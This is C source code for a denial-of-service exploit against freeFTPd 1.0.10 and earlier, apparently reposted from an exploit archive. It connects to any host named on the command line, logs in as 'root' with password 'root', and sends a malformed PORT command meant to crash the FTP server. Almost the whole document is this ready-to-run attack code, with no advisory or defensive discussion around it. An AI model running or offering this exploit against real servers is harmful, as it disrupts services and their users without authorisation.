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FreeFTPD <= 1.0.10 (PORT Command) Denial of Service Exploit
=========================================================== FreeFTPD <= 1.0.10 (PORT Command) Denial of Service Exploit =========================================================== // freeFTPd Denial of Service Attack // Tested on a Win XP Sp1 Box #include "stdio.h" #include "winsock2.h" #pragma comment (lib,"ws2_32") #define PORT 21 #define USER "root" #define PASS "root" #define L "--------------------------------------------------" #define HL "freeFTPd (1.0.10) DoS Exploit by steve01@chello.at" #define BOOM "23" typedef unsigned long ulong; ulong resolv_host(char *); int main(int argc, char* argv[]) { WSADATA wsa; SOCKET s_target; struct sockaddr_in addr; WORD wsVersion; int err=0; if(argc<2) { printf("%s\n",L); printf("%s\n",HL); printf("%s\n",L); printf("Usage: %s <www.target.com>\n",argv[0]); exit(0); } printf("%s\n",L); printf("%s\n",HL); printf("%s\n",L); if(WSAStartup(wsVersion=MAKEWORD(2,2),&wsa)) { printf("Error WSAStartup() Error Code: %d\n",WSAGetLastError()); exit(1); } s_target=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(s_target==INVALID_SOCKET) { printf("Error socket() Error Code: %d\n",WSAGetLastError()); exit(2); } addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr= resolv_host(argv[1]); if(connect(s_target,(SOCKADDR *)&addr,sizeof(addr))) { printf("Error connect() Error Code: %d\n",WSAGetLastError()); exit(3); } int recvsize=0; char recvbuffer[400]; char sendbuffer[400]; //recv banner recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0); recvbuffer[recvsize]='\0'; //send user strncpy(sendbuffer,"USER ",sizeof(sendbuffer)-1); strncat(sendbuffer,USER,sizeof(sendbuffer)-strlen(sendbuffer)-1); strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1); send(s_target,sendbuffer,strlen(sendbuffer),0); //recv user stuff recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0); recvbuffer[recvsize]='\0'; strncpy(sendbuffer,"PASS ",sizeof(sendbuffer)-1); strncat(sendbuffer,PASS,sizeof(sendbuffer)-strlen(sendbuffer)-1); strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1); //send pass send(s_target,sendbuffer,strlen(sendbuffer),0); //recv pass stuff recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0); recvbuffer[recvsize]='\0'; strncpy(sendbuffer,"PORT ",sizeof(sendbuffer)-1); strncat(sendbuffer,BOOM,sizeof(sendbuffer)-strlen(sendbuffer)-1); strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1); send(s_target,sendbuffer,strlen(sendbuffer),0); closesocket(s_target); WSACleanup(); return 0; } ulong resolv_host(char *host) { ulong uhost=0; struct hostent *th; uhost=inet_addr(host); if(uhost==INADDR_NONE) { th=gethostbyname(host); if(!th) { printf("Check if %s is up \n",host); exit(0); } uhost=*(unsigned long*)th->h_addr; } return uhost; } # 0day.today [2024-10-05] #